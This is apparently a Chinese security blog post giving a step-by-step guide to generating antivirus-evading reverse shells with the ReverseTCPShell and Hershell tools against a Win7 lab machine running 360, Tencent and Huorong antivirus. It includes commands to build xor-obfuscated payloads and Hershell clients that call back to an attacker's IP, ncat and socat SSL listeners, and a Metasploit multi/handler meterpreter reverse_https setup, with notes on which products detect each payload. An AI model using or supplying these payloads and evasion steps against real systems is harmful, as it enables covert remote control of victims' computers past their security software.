事情起因#
使用的是前面文章nps_payload的三件套环境,配置如下:
- Win7 SP1 build 7601
- windows 防火墙打开
- 360 杀毒正式版 5.0.0.8170
- 腾讯电脑管家 13.3.20238.213
- 火绒 5.0.36.16
ReverseTCPShell C2#
首先从github 地址下载ReverseTCP.ps1文件并使用powershell打开
设置LHOST和LPORT,会让你选择加密方式,默认有三种
- ASCII
- xor
- Base64
我这里选择了xor

自动生成了ps和cmd下的利用代码,并且开始监听LPORT

我们复制cmd代码到win7上,成功免杀三件套获得shell

可以执行简单的命令ls,whoami,upload,download,screenshot

虽然执行的命令少,但至少目前是三件套免杀的,可以获取到shell后上传免杀渗透工具继续渗透。
Hershell#
Hershell 是一款 go 语言编写的多平台反向 shell 生成器,使用 tls 加密流量,并提供证书公钥指纹固定功能,防止流量拦截。
这个工具需要go环境,如果已经安装的可以跳过这部分
go 环境#
首先打开go环境下载的中文官网,获取最新linux版本的go下载链接:
wget https://studygolang.com/dl/golang/go1.13.7.linux-amd64.tar.gz
sudo tar -xzf go1.13.7.linux-amd64.tar.gz -C /usr/local/
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可选设置)
go version查看是否安装成功
使用#
拉取:
go get github.com/lesnuages/hershell
首先生成一个证书:
cd hershell
make depends

以 windows 为例,生成一个客户端,其他平台同理:
make windows64 LHOST=192.168.1.18 LPORT=3333

得到的hershell.exe拷贝到目标主机上,实测360杀毒能够查杀,火绒和腾讯没问题
然后可以使用如下程序开始监听:
- socat
- ncat
- openssl server module
- metasploit multi handler(python/shell_reverse_tcp_ssl payload)
我个人推荐使用socat,命令如下:
socat openssl-listen:3333,reuseaddr,cert=server.pem,cafile=server.key system:bash,pty,stderr
但我运行一直报错:

只能使用ncat了,这个ncat可不是那个netcat的nc
安装nmap即可使用,监听命令为:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 3333

虚拟机上打开hershell.exe,ubuntu上即可接收到shell:

与 msf 互传#
支持 msf 以下的 payload:
- windows/meterpreter/reverse_tcp
- windows/x64/meterpreter/reverse_tcp
- windows/meterpreter/reverse_http
- windows/x64/meterpreter/reverse_http
- windows/meterpreter/reverse_https
- windows/x64/meterpreter/reverse_https
那这里就选择 64 位的带ssl的windows/x64/meterpreter/reverse_https吧
先把hershell生成的server.pem文件拷贝在msf所在主机上,然后msf开启监听:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
setg LHOST 192.168.1.2
setg LPORT 3333
set HandlerSSLCert /root/server.pem
exploit -j -z
这里的ip和端口都是msf所在主机上的,可以随便设置

然后 hershell 进行同传:
[hershell]> meterpreter https 192.168.1.2:3333
![]()
实测没有接收成功
参考文章:
本文完。